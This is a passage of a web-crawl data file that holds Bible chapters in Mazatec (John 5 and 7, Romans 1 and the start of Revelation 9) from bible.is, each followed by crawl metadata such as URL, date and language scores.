ts'e̱ chjí‑la̱ mì k'oa̱‑ne koni 'én xi kitsjaà Juan, nga jè Na̱'èn‑na̱ kitsjaà‑na̱ nga sìkitasoàn; ti̱jè‑ne xá xi tìs'iaàn okó i̱t'aà ts'a̱n nga kixi̱ kjoa̱ nga jè Na̱'èn‑na̱ kisìkasén‑na̱. 37Jè Na̱'èn‑na̱ xi kisìkasén‑na̱, tsjá 'én xi i̱t'aà ts'a̱n. Jñò, kj'eè kiì na'yà‑là jta̱‑la̱, nì mìkiì yaxkon kó kji i̱sén‑la̱; 38ti̱koa̱á jè 'én‑la̱ mìkiì fahas'en‑jiìn ini̱ma̱‑nò. Jè xi Nainá kisìkasén, mìkiì mokjeiín‑nò i̱t'aà ts'e̱. 39Ndaà binchaàtsjijñoò Xo̱jo̱n‑la̱ Nainá nga k'oa̱s'ín nìkítsjeèn nga ya̱ sakó‑nò kjoa̱binachon ni̱ta̱ kjé‑né. Jè Xo̱jo̱n‑la̱ Nainá, tsjá 'én xi i̱t'aà ts'a̱n, 40ta̱nga jñò, mìkiì sasén‑nò nga nchrobátji̱ngui‑ná, mé‑ne nga s'e̱‑nò kjoa̱binachon koi. 41'Mìtsà koi kjoa̱ otsjià nga jeya si̱ìkíjna‑na xi̱ta̱. 42Ta̱nga 'a̱n, beèxkoòn‑nò, nga jñò, mìkiì matsjacha Nainá nga ko̱ ini̱ma̱‑nò. 43'A̱n, i̱t'aà ts'e̱ Na̱'èn‑na̱ j'i̱‑na; jñò majìn‑nò nga chjoétjò‑ná. Ta̱nga tsà kj'ei̱í xi̱ta̱ kjoi̱í xi ta kjo̱tsja ts'e̱ kjoi̱í‑ne, ìsa̱á‑là ni̱to̱n chjoétjò. 44Jñò, ¿kós'ín ko̱ma ko̱kjeiín‑nò? Nga tà jè binchaàtsjioò nga ndaà ki̱tsa̱jnaà nga nguixko̱n xi̱ta̱, ko̱ mìtsà jè binchaàtsjioò nga ndaà ki̱tsa̱jnaà nga nguixko̱n Nainá xi tà jngoò ma. 45Kì k'oa̱ s'ín nìkítsjeèn nga 'a̱n tsjat'in‑nò 'én nga nguixko̱n Na̱'èn‑na̱. Jè xi tsját'in‑nò 'én, ti̱jè‑ne Moisés xi jè ma'ñót'aà takòn. 46Jñò, tsà mokjeiín‑nò koni s'ín kiskiì Moisés, ti̱koa̱á ko̱kjeiín‑nò i̱t'aà ts'a̱n nga jè Moisés i̱t'aà ts'a̱án kiìchja̱ nga kiskiì. 47Tsà mìkiì mokjeiín‑nò koni s'ín kiskiì Moisés, ¿kós'ín ko̱kjeiín‑nò 'én‑na xi beno̱jmí‑nò?\nSan Juan 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/5","date":"2013-12-08T15:41:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163066095\/warc\/CC-MAIN-20131204131746-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":985,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.293,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè xo̱jo̱n carta jè, 'a̱án tìkjiì‑nò xi Pablo 'mì‑na xi chi̱'nda‑la̱ Jesucristo ma, xi xó kiìchja̱‑na Nainá nga 'a̱n tsibíxáya‑na ko̱ xó kitjaàjiìn‑na nga 'a̱n sìka'bísoàn 'én ndaà‑la̱ Nainá. 2I̱t'aà ts'e̱ 'én koi, Nainá jye k'oa̱s'ín kitsjaà tso'ba nga ti̱sa̱ kjòtseé, koni s'ín tíchja̱ Xo̱jo̱n Tsjeè‑la̱ xi kiskiì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 3Nga ya̱ tíchja̱ i̱t'aà ts'e̱ Ki'ndí‑la̱, jè Na̱'èn‑ná Jesucristo xi jè otíxoma‑ná. Koni xi̱ta̱ i̱sò'nde, ya̱á inchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David. 4K'e̱ nga jaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà, Jesucristo, k'oa̱á s'ín kiyaxkon‑la̱ nga Ki'ndí‑la̱ Nainá‑né xi tse nga'ñó tjín‑la̱ koni s'ín ndaà síkíchi̱ya‑ná jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi sítsjeè‑ná. 5I̱t'aà ts'e̱ Jesucristo, kitjoé‑na kjo̱ndaà nga 'a̱n tsibíxáya‑na nga kèno̱jmíya‑la̱ 'én ndaà‑la̱ jñà xi̱ta̱ na̱xa̱ndá xi tjín nga tíjtsa i̱sò'nde nga kàtasíkitasòn ko̱ kàtakjeiín‑la̱ i̱t'aà ts'e̱ Cristo, mé‑ne nga jeya kíjna‑ne Cristo. 6Ti̱koa̱á jñò, xó kinokjoà‑nò nga xi̱ta̱‑la̱ Cristo k'oín‑nò. 7Tìkjiì‑nò ngats'ioò xi titsa̱jnaà Roma xi matsjakeè‑nò Nainá nga ti̱koa̱ xó kinokjoà‑nò nga xi̱ta̱ tsjeè‑la̱ ko̱ma. Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 8Xi mats'ia̱‑ne, i̱t'aà ts'e̱ Jesucristo tsjaà‑la̱ kjo̱ndaà Nainá xi i̱t'aà tsa̱jòn, koi kjoa̱‑la̱ nga xki̱ xi ján na̱xa̱ndá xi tjín nga tíjtsa i̱sò'nde, na'yá‑nò nga ndaà mokjeiín‑nò i̱t'aà ts'e̱ Cristo. 9I̱t'aà ts'e̱ Nainá xi 'a̱n sìxá‑la̱ nga tíjngoò takoàn nga sika'biá 'én ndaà‑la̱ xi kjoa̱ ts'e̱ Ki'ndí‑la̱, jè tíbeè nga na̱chrjein nchijòn síkítsjeèn‑nò k'e̱ nga chjàt'aà‑la̱. 10K'e̱ nga bìtsi'ba‑la̱ Nainá, k'oa̱á s'ín síjét'aà‑la̱ tsà ikon xi tsò nga chaán tsjá'nde‑na nga kjíkon‑nò. 11Ti̱koa̱á mejèn‑na skoe̱xkon‑nò mé‑ne nga tsja chiba‑nò kjo̱hítsjeèn ts'e̱ ini̱ma̱‑ná mé‑ne nga ìsa̱ kixi̱ ki̱tsa̱jna‑nò. 12Jè xi tìxan‑nò nga ngásòn k'oi̱‑lá nga'ñó xinguia̱á i̱t'aà ts'e̱ kjoa̱ xi mokjeiín‑ná. 13'Ndsè, tichja, mejèn‑na nga kàtasijiìn‑nò nga kjòtseé tjín‑ne nga kjíkon‑nò ta̱nga skanda i̱'ndei̱ mì tà jngoò kjoa̱ bíchjoà ikòn‑na. Xi kjo̱hítsjeèn ts'a̱n, jè xi mejèn‑na nga siìxáko̱‑nò jñò, koni s'ín kisìxá ñánda nga xìn na̱xa̱ndá mé‑ne nga ti̱koa̱ skoeè‑na kjo̱ndaà‑la̱ xá‑na xi 'a̱n s'iaàn i̱t'aà tsa̱jòn. 14Tjínè‑na nga kokoòya‑la̱ ngats'iì xi̱ta̱ xi 'én griego chja̱ ko̱ xi mìkiì chja̱, xi̱ta̱ xi tjín‑la̱ kjoa̱chji̱ne̱ ko̱ xi tsjìn‑la̱. 15K'oa̱á ma‑ne nga 'ñó mejèn‑na nga ti̱koa̱ kichjàyajiìn‑nò jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, jñò xi titsa̱jnaà na̱xa̱ndá Roma. 16Mìkiì masobà‑na i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, nga nga'ñó‑la̱ Nainá‑né. Jè 'én xi ma‑la̱ síkítsa̱jnandei̱í xi̱ta̱ kjoa̱ ts'e̱ jé, ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱, mats'ia̱ko̱‑ne jñà xi xi̱ta̱ judío ko̱ ti̱koa̱ xi mìtsà xi̱ta̱ judío. 17Jñà 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo okó‑ná kós'ín s'ín Nainá nga síkixi̱ xi̱ta̱. Tà jè‑né nga mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo mé‑ne nga ìsa̱ ndaà ko̱kjeiín‑la̱. K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè xi xi̱ta̱ kixi̱, i̱t'aà ts'e̱ kjoa̱ xi mokjeiín‑la̱ kíjnakon‑ne.\" 18Nga jè Nainá skanda ján ngajmiì tíhokó kjoa̱jti‑la̱ i̱t'aà ts'e̱ xi̱ta̱ xi mìkiì beèxkón ko̱ xi ch'o s'ín. Jè kjo̱hítsjeèn ch'o xi tjín‑la̱ mì kì tsjá'nde‑la̱ nga kjoétjò xi kjoa̱kixi̱. 19Jè kjoa̱ xi 'ya‑la̱ i̱t'aà ts'e̱ Nainá, ndaà tíjiìn‑la̱ jñà xi̱ta̱ koi, nga ti̱jè‑ne Nainá tíhokó‑ne. 20Nga jñà kjoa̱ ts'e̱ Nainá xi mìkiì tsejèn, ndaà tíyaxkon‑la̱ kóni nga ti̱sa̱ kisindaà i̱sò'nde. Yaxkoón‑la̱ nga tjín‑la̱ nga'ñó Nainá ni̱ta̱ mé na̱chrjein‑ne nga tà jè ta̱jngoò xi Nainá 'mì. Kjoa̱ koi tí'yaá‑la̱ i̱t'aà ts'e̱ tsojmì xi tsibíndaà Nainá. K'oa̱á ma‑ne nga jñà xi̱ta̱ mì kì ko̱ma ki̱nchako̱ yijo‑la̱ nga ki̱tso̱: \"Mìkiì tíjiìn‑na tsà tíjna Nainá.\" 21Jñà xi̱ta̱ na̱s'ín tíjiìn‑la̱ nga tjín Nainá xi tsibíndaà i̱sò'nde, ta̱nga mìkiì jeya kisìkíjna, ni̱ mìkiì kitsjaà‑la̱ kjo̱ndaà. Ta̱ sa̱á tà koií 'ñó ndaà kisìs'in‑la̱ kjo̱hítsjeèn xi ni̱mé chjí‑la̱. Kjo̱hítsjeèn tájaà‑la̱ kisìjñò‑la̱. 22Xi kjo̱hítsjeèn ts'e̱, xi̱ta̱ chji̱ne̱é kitsò‑la̱ yijo‑la̱; ta̱nga mìtsà kixi̱ kjoa̱, xi̱ta̱ nchi̱kón‑né. 23Kisìkíjnat'aàxìn Nainá xi jeya tíjna xi mìkiì fehet'aà na̱chrjein‑la̱; ta̱ sa̱á koi kijtseèxkón i̱sén ts'e̱ xi̱ta̱ xi fehet'aà na̱chrjein‑la̱; skanda jñà i̱sén‑la̱ cho̱ xi tjímajiìn i̱sén kijtseèxkón, ko̱ i̱sén‑la̱ cho̱ xi ñijòn ma ndso̱ko̱ ko̱ i̱sén‑la̱ ye̱. 24Koií kjoa̱‑la̱ nga kitsjeiìn takòn Nainá nga ta̱xki̱ kàtas'ín nga kàtas'ín ni̱ta̱ mé kjoa̱ chi̱nga̱ xi bitjokàjiìn ini̱ma̱‑la̱. K'oa̱á ma‑ne nga tsohótsji‑la̱ kjoa̱ sobà yijo‑la̱ koni s'ín kisìko̱ xíkjín. 25Kisìkjatjìyaá‑la̱ kjoa̱ kixi̱‑la̱ Nainá; 'én ndiso kiskoé. Jñà kijtseèxkón koa̱ jñà kisìtsjako̱ tsojmì xi jè Nainá tsibíndaà. Mìtsà jè kijtseèxkón koa̱ kisìtsjako̱ Nainá xi tsibíndaà tsojmì. Nainá kàtayaxkón ni̱ta̱ mé na̱chrjein‑ne, k'oa̱s'ín kàtama. 26Koií kjoa̱‑la̱ nga kitsjeiìn takòn Nainá nga ko̱ s'ín kàtas'ín‑ko̱ yijo‑la̱ kjoa̱ sobà xi ch'o tjín. Jñà íchjín kisìkjatjìyaá‑la̱ koni s'ín mochjeén x'i̱n; tjín íchjín xi ti̱jñà xíkjín kiskoé‑ne. 27K'oa̱á ti̱s'ín kis'iìn íchjá, kitsjeiìn takòn‑né koni s'ín mochjeén íchjín. Tjín íchjá xi 'ñó kisaseèn‑la̱ nga ti̱ x'i̱n xíkjín tsoyijòko̱‑ne. Tsohótsji‑la̱ kjoa̱ sobà yijo‑la̱. K'oa̱á ma‑ne nga kjo̱'in kis'e‑la̱ xi ti̱ yijo ts'e̱‑ne koni s'ín ok'ìn‑la̱ kjoa̱ ch'o xi kis'iìn. 28Xi̱ta̱ koi, mìkiì kisìkítsjeèn tsà mochjeén‑né nga skoe̱xkon Nainá; k'oa̱á ma‑ne nga kitsjeiìn takòn Nainá nga kàtasíkjeén kjo̱hítsjeèn‑la̱ xi nì mée chjí‑la̱ mé‑ne nga k'oa̱s'ín kàtas'ín‑ne kjoa̱ xi mìkiì ok'ìn‑la̱. 29Xi̱ta̱ koi, ya̱á tjíjiìn yije ini̱ma̱‑la̱ ngats'iì kjoa̱ xi ch'o tjín koni: kjoa̱ chijngui, kjoa̱ ts'e̱n, kjoa̱ tse mejèn, kjoa̱ toòn, kjoa̱xìtakòn, kjoa̱ nga ma‑la̱ sík'en xi̱ta̱, kjoa̱ xi kjaán‑kjoò, kjoa̱ kona̱cha̱n, kjoa̱ xi ch'o s'ín, kjoa̱ 'én ndiso; 30nga chja̱jno‑la̱ xíkjín; nga síjtikeè Nainá; ochrjengui xíkjín; 'nga ikon; ndaà síkíjna yijo‑la̱; síkítsjeèn nga mejèn‑la̱ ìsa̱ ch'o tjín kjoa̱ xi s'i̱in; mìkiì 'nchréñijon‑la̱ xi̱ta̱ jchínga‑la̱; 31mìkiì machi̱ya‑la̱; mìkiì síkitasòn 'én xi chja̱; mìkiì beètjò xi̱ta̱ xíkjín; tsjìn‑la̱ kjoa̱ nìjchàat'aà; koa̱ tsjìn‑la̱ kjoa̱hi̱ma̱takòn. 32Jñà xi̱ta̱ koi, ndaà tíjiìn‑la̱ nga k'oa̱á s'ín tsjá o̱kixi̱ Nainá: ngats'iì xi k'oa̱ tjín kjoa̱ xi s'ín, ok'ín‑la̱ nga ki̱yá. Ta̱nga mìkiì majngoò ikon nga tà jñà xi k'oa̱s'ín, skanda ti̱koa̱á matsja‑la̱ k'e̱ nga k'oa̱ ti̱s'ín xi̱ta̱ xi kj'ei̱í.\nRomanos 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/1","date":"2013-12-13T04:35:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164858282\/warc\/CC-MAIN-20131204134738-00040-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":911,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye k'oa̱s'ín komà kjoa̱ koi, Jesús ya̱á tsajmeè nangui Galilea. Majìn‑la̱ nga ya̱ ko̱jmeè na̱xa̱ndá Judea, koií kjoa̱‑la̱ nga jñà xi̱ta̱ judío nchihótsji nga mejèn‑la̱ si̱ìk'en. 2Jyeé nchrobá machrañà s'eí‑la̱ xi̱ta̱ judío ts'e̱ Ni'ya Xka̱ Ijñá. 3Jñà 'ndse̱ Jesús kitsò‑la̱: ―Kì ta̱ tsja i̱í bijni. T'in ján Judea mé‑ne jñà xi̱ta̱ xi kota'yàt'aà‑lè xi títsa̱jna ján kàteè‑lè mé kjoa̱ xi 'nì. 4Tsà k'e̱ mejèn‑ná nga skoe̱‑ná xi̱ta̱ mé kjoa̱ xi tí'né, mochjeén‑né nga ko̱kó‑lá yijo‑ná. Ngaji̱, koni s'ín 'nì, ta̱kó‑là yijo‑lè ngats'iì xi̱ta̱ i̱sò'nde. 5Koií o̱kitsò‑la̱ jñà 'ndse̱ nga mìkiì kòkjeiín‑la̱ i̱t'aà ts'e̱. 6Jesús kitsò‑la̱: ―Kj'eè kiì bijchó na̱chrjein‑na̱, ta̱nga xi i̱t'aà tsa̱jòn ndaà tjín ni̱ta̱ mé na̱chrjein‑ne. 7Jñò, mìkiì majtikeè‑nò jñà xi̱ta̱ i̱sò'nde, ta̱nga 'a̱n majtikeé‑na̱, koií kjoa̱‑la̱ nga 'a̱n beno̱jmí kixi̱‑la̱ nga ch'o tjín kjoa̱ xi s'ín. 8Tanguió jñò jè s'eí, 'a̱n mìkiì kjián. Kj'eè kiì bijchó na̱chrjein‑na̱. 9K'e̱ nga jye o̱kitsò‑la̱ jñà xi̱ta̱, Jesús ya̱á tsibìjna ya̱ nangui Galilea. 10K'e̱ nga jye kiì s'eí jñà 'ndse̱ Jesús, jè, ti̱koa̱á kiì 'ma‑né. Majìn‑la̱ nga xi̱ta̱ skoe̱xkon. 11Ya̱ ñánda tíbitjo s'eí, jñà xi̱ta̱ judío nchihótsji Jesús, kitsò‑la̱ xíkjín: ―Xi̱ta̱ jè, ñánda tíjna. 12Ngats'iì xi̱ta̱ xi ijchò s'eí, xki̱ xi ján tsajoóya‑ne i̱t'aà ts'e̱ Jesús. Tjín xi kitsò: \"Xi̱ta̱ ndaà‑né.\" Ti̱koa̱ tjín xi kitsò: \"Majìn, na̱xa̱ndá kona̱cha̱n‑la̱.\" 13Ta̱nga ni̱yá xi kiìchja̱ tsejèn nga nguixko̱n xi̱ta̱ xi kj'ei̱í, nga jñà xi̱ta̱ sko̱‑la̱ xi̱ta̱ judío, tsakjón‑la̱. 14K'e̱ nga jye ijchò osen nga tíbitjo s'eí, ijchò Jesús, jahas'en i̱ngo̱ ítjòn, i̱kjoàn tsakóya‑la̱ xi̱ta̱. 15Jñà xi̱ta̱ judío, k'e̱ nga kijtseè koni s'ín okóya, tà kjòxkón‑la̱ kitsò‑la̱ xíkjín: ―Xi̱ta̱ jè, ¿kós'ín ma‑ne nga ko̱ tà ndaà okóya‑ne nga mìtsà xo̱jo̱n kiskoòta'yà? 16Jesús kitsò‑la̱: ―Jñà 'én xi 'a̱n okoòya, mìtsà 'én ts'a̱n, ts'e̱‑né jè xi kisìkasén‑na̱. 17Tsà yá xi mejèn‑la̱ si̱ìkitasòn koni s'ín mejèn‑la̱ Nainá, skoe̱‑né jñà 'én xi 'a̱n okoòya tsà i̱t'aà ts'e̱ Nainá nchrobá‑ne, o xi tà kjo̱hítsjeèn ts'a̱n‑ná. 18Jngoò xi̱ta̱ xi tà kjo̱hítsjeèn ts'e̱ tísíkjeén nga tíchja̱, tà jè xi mejèn‑la̱ nga jè jcha̱xkón; ta̱nga jè xi̱ta̱ xi koií kjoa̱ tíhótsji nga jè kàtayaxkón jè xi kisìkasén, jè‑né xi nguì 'én kixi̱ tsjá, mìtsà 'én ndiso chja̱. 19'Jñò, ¿a mìtsà kixi̱ kjoa̱ nga kitjoé‑nò kjo̱tíxoma‑la̱ Nainá xi jè Moisés kiskiì? Ta̱nga jñò, ni̱jngoò xi ma‑la̱ síkitasòn. ¿Mé‑ne mejèn‑nò nga si̱k'en‑ná? 20Jñà xi̱ta̱ kitsò: ―¡Nei̱í‑là tíjiìn ini̱ma̱‑lè! ¿Yá‑né xi mejèn‑la̱ si̱ìk'en‑lè? 21Jesús kiìchja̱ kitsò‑la̱: ―Jñò, maxkón‑nò jngoò kjoa̱ xi kis'iaàn jè na̱chrjein nìkjáya. 22Kixi̱í kjoa̱, jè Moisés kitsjaà‑nò kjo̱tíxoma xi kjoa̱ ts'e̱ circuncisión. (Ta̱nga kjo̱tíxoma jè, mìtsà ts'e̱ Moisés; i̱t'aà ts'e̱é xi̱ta̱ jchínga kjiìn‑nò inchrobà‑ne.) Ta̱nga jñò, na̱s'ín na̱chrjein nìkjáya bít'aà chibaá‑la̱ xi̱ta̱ x'i̱n kjoa̱ ts'e̱ circuncisión. 23Jñò, nga bìt'aà chi̱ba̱‑la jñà xi̱ta̱ kjoa̱ ts'e̱ circuncisión jè na̱chrjein nìkjáya nga majìn‑nò nìjchaànguio kjo̱tíxoma xi kitsjaà‑nò Moisés, ¿mé‑ne majti‑nò nga 'a̱n jngoò k'a ndaà sìndaà‑na xi̱ta̱ jè na̱chrjein nìkjáya? 24Kì k'oa̱á s'ín jchósòn‑là koni s'ín tsejèn‑nò. K'oa̱á s'ín jchósòn‑là koni s'ín tjín xi nguì kjoa̱ kixi̱. 25Tjín i'nga xi̱ta̱ xi Jerusalén ts'e̱ xi kitsò: ―¿A mìtsà jè xi̱ta̱ jè xi ótsji jñá xi̱ta̱ judío nga mejèn‑la̱ si̱ìk'en? 26Chítsejèn‑là, tíchja̱jiìn osen‑la̱ jñà xi̱ta̱ na̱xa̱ndá, ni̱yá xi kó tsò‑la̱. ¿A jyeé kòkjeiín‑la̱ jñà xi̱ta̱xá nga kixi̱ kjoa̱ nga jè xi Cristo [xi xó Nainá kisìkasén‑ne]? 27Ta̱nga jñá, 'ya‑ná ñánda j'iì‑ne xi̱ta̱ jè, k'e̱ nga kjoi̱í Cristo ni̱yá xi skoe̱ ñánda kjoi̱í‑ne. 28Jesús nga tíhokóya ya̱ ndi̱tsin i̱ngo̱ ítjòn, kiì'nchré koni s'ín kitsò jñà xi̱ta̱. K'e̱é 'ñó kiìchja̱ kitsò: ―Jñò, yaxkoón‑ná; tíjiìn‑nò ñánda j'i̱‑na̱. Ta̱nga mìtsà tà kjo̱tsja ts'a̱n nga j'ia̱a. Jè xi kisìkasén‑na̱, jè‑né xi nguì kixi̱ kjoa̱ nga Nainá. Jñò, mìkiì yaxkon. 29Ta̱nga 'a̱n, bexkon‑ná. I̱t'aà ts'e̱é inchrobà‑na̱ nga jè sobà kisìkasén‑na̱. 30Ti̱jè‑ne hora jñà xi̱ta̱ mejèn‑la̱ nga tsobà'ñó Jesús ta̱nga ni̱jngoò xi kitsò ikon nga kitsobà'ñó, koi‑né nga kj'eè kì bijchó na̱chrjein‑la̱ nga ki̱yá. 31'Ñó kjìn xi̱ta̱ kòkjeiín‑la̱ koni kitsò Jesús. Kitsò‑la̱ xíkjín: ―K'e̱ nga kjoi̱í Cristo, ¿a ìsa̱ kjiìn kjo̱xkón ndaà xi s'i̱in, koni jè xi̱ta̱ jè? Kixi̱í‑là kjoa̱, jè‑la xi Cristo. 32Jñà xi̱ta̱ fariseo kiì'nchré koni s'ín nchijoó jñà xi̱ta̱ i̱t'aà ts'e̱ Jesús. Xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ fariseo kisìkasén xi̱ta̱ xi síkinda̱ i̱ngo̱ nga mejèn‑la̱ tso̱ba̱'ñó Jesús. 33Jesús kitsò‑la̱: ―'A̱n, tà chibaá na̱chrjein kóti̱jnako̱‑nò, i̱kjoàn kjín ìjngoò k'a‑na̱ ñánda tíjna xi kisìkasén‑na̱. 34Jñò, ki̱nchátsji‑ná ta̱nga mìkiì sa̱kò‑nò nga mìkiì ko̱ma konguió ya̱ ñánda kóti̱jna. 35Jñà xi̱ta̱ judío, tsibíts'ia̱ nga kiskònangui‑la̱ xíkjín kitsò: ―Xi̱ta̱ jè, ¿ñánda kjoi̱? ¿Mé‑ne nga mìkiì ko̱ma sa̱kò‑ná? ¿A ya̱á kji̱ko̱ xi̱ta̱ judío xinguia̱á xi xìn i̱'nde títsa̱jna nga jñà xi ta̱xki̱ xi̱ta̱ ko̱kòya‑la̱? 36¿Kó tsòya‑ne 'én xi béno̱jmí nga tsò: \"Jñò, ki̱nchátsji‑ná ta̱nga mìkiì sa̱kò‑nò nga mìkiì ko̱ma konguió ya̱ ñánda kóti̱jna\"? 37Jè na̱chrjein xi fehet'aà‑ne s'eí, Jesús tsasíjna kixi̱, 'ñó kiìchja̱, kitsò: ―Tsà yá xi xíndá‑la̱ kàtjanchrobákon‑na, kàt'iì nandá. 38Koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Jè xi mokjeiín‑la̱ i̱t'aà ts'a̱n si̱jnajiìn ini̱ma̱‑la̱ koni jngoò xa̱jngá nandá xi mìkiì xìya xi síkíjnakon xi̱ta̱. 39K'e̱ nga o̱kitsò Jesús, i̱t'aà ts'e̱é Ini̱ma̱ Tsjeè‑la̱ Nainá kiìchja̱ nga i̱skan tjoé‑la̱ jñà xi̱ta̱ xi ko̱kjeiín‑la̱ i̱t'aà ts'e̱. Na̱chrjein jè, Ini̱ma̱ Tsjeè‑la̱ Nainá kj'eè kiì bitjojen nga kj'eè kiì fì‑ne ngajmiì Jesús nga jcha̱‑la̱ kjoa̱jeya‑la̱. 40Jñà xi̱ta̱, k'e̱ nga kiì'nchré 'én koi, tjín i'nga xi kitsò: ―Kixi̱í kjoa̱ xi̱ta̱ jè, jè‑né xi tjínè‑la̱ nga kjoi̱í nga ki̱chja̱ ngajo‑la̱ Nainá. 41Jñà xi̱ta̱ xi i'nga kitsò: ―Jè‑né xi Cristo [xi xó kisìkasén‑ne Nainá]. Ti̱koa̱á tjín i'nga xi kitsò: ―Majìn‑la nga jè Cristo, mìtsà nangui Galilea kjoi̱í‑ne. 42Xo̱jo̱n‑la̱ Nainá k'oa̱á s'ín tíchja̱ nga jè Cristo, ya̱á kji̱nchrobàt'aà‑ne tje̱‑la̱ David, ya̱ na̱xa̱ndá Belén, i̱'nde‑la̱ David. 43K'oa̱á s'ín komà‑ne nga kjòjòya jñà xi̱ta̱ xi kjoa̱ ts'e̱ Jesús. 44Tjín i'nga xi̱ta̱ xi mejèn‑la̱ kitsobà'ñó nga kji̱ko̱ nda̱yá, ta̱nga ni̱jngoò xi kitsò ikon nga kitsobà'ñó. 45Jñà xi̱ta̱ xi síkinda̱ i̱ngo̱, inchrobà‑ne ñánda títsa̱jna xi̱ta̱ fariseo ko̱ xi̱ta̱ sko̱‑la̱ no̱'miì, kitjànangui‑la̱, ki'mì‑la̱: ―¿Mé‑ne mìkiì kànchrobáko̱‑nò? 46Jñà xi̱ta̱ xi síkinda̱ i̱ngo̱ kitsò: ―Ni̱ sa̱á jngoò xi̱ta̱ xi k'oa̱s'ín chja̱ koni s'ín chja̱ xi̱ta̱ jè. 47Jñà xi̱ta̱ fariseo, kitsò: ―Jñò, ¿a ti̱koa̱á kachona̱cha̱án‑nò? 48¿A k'oa̱á ti̱s'ín mokjeiín‑la̱ xi̱ta̱xá ítjòn tsa̱ján ko̱ xi̱ta̱ xinguia̱á fariseo? 49Ta̱nga jñà xi̱ta̱ xi tíchona̱cha̱n‑la̱ nga mìkiì tíjiìn‑la̱ kjo̱tíxoma‑la̱ Moisés, tjínè‑la̱ nga kjo̱'in s'e̱‑la̱. 50Nicodemo, jè xi xi̱ta̱ fariseo, xi jñò j'iìkon jngoò k'a Jesús, kitsò‑la̱: 51―Kjo̱tíxoma tsa̱ján, mìkiì tsjá'nde nga kjo̱'in k'oi̱‑la̱ xi̱ta̱, k'e̱ nga ti̱kj'eè kiì ndaà 'ya‑la̱ mé kjoa̱ xi tjín‑la̱. 52Jñà xi̱ta̱ fariseo, kitsò‑la̱ Nicodemo: ―¿A ti̱koa̱á ya̱á nangui‑lè Galilea? Chíta'yì Xo̱jo̱n‑la̱ Nainá mé‑ne nga jcha̱‑ne ni̱ sà jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá f'iì‑ne Galilea. 53Tà k'oa̱s'ín kitsjòya‑ne xi̱ta̱, xki̱ xi ján kiì‑ne ni'ya‑la̱ nga jngoò ìjngoò.\nSan Juan 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/7","date":"2013-12-11T15:01:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164037762\/warc\/CC-MAIN-20131204133357-00029-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":1057,"character_repetition_ratio":0.07,"word_repetition_ratio":0.006,"special_characters_ratio":0.239,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè xi ma‑ne 'òn àkja̱le̱ kisìkjindáya chrjo‑la̱; 'a̱n kìjtseè jngoaà ni'ño xi kiskaàngui‑ne ngajmiì skanda i̱t'aà nangui. I̱kjoàn kjònga̱tsja jè ibi̱ ts'e̱ ni̱tja̱n. 2Kiskíx'a̱ jè ni̱tja̱n. K'oa̱á s'ín itjo ni̱'ndi̱ koni tsà ts'e̱ nga̱já xi 'ñó iì kjoàn. Jè ni̱'ndi̱ xi itjo, kisìjñò jè ts'oí ko̱ i̱jiìn i̱sén. 3Jè ni̱'ndi̱, ya̱á itjojiìn cho̱ langosta xi tsangasòn i̱sò'nde; kits'iì‑la̱ nga'ñó nga ma‑la̱ k'oe̱e‑la̱ xi̱ta̱ koni cho̱ na'yá xi tjín i̱sò'nde. 4K'oa̱á s'ín kisatiìxoma‑la̱ nga mìkiì tsjá ch'in‑la̱ ngats'iì xka̱ ijñá xi tjín i̱sò'nde, ko̱ ni̱jngoò yá; tà jñà xi ko̱ma tsjá ch'in‑la̱ jñà xi̱ta̱ xi tsjìn‑la̱ chi̱ba̱‑la̱ Nainá ya̱ i̱tjòn tjen‑la̱. 5Mìkiì kitsjaà'nde‑la̱ nga si̱ìk'en xi̱ta̱; tà kjo̱'iín 'òn sá tsjá‑la̱; jè kjo̱'in xi tsjá, k'oa̱á ngaya‑la̱ koni k'e̱ nga 'bé‑la̱ 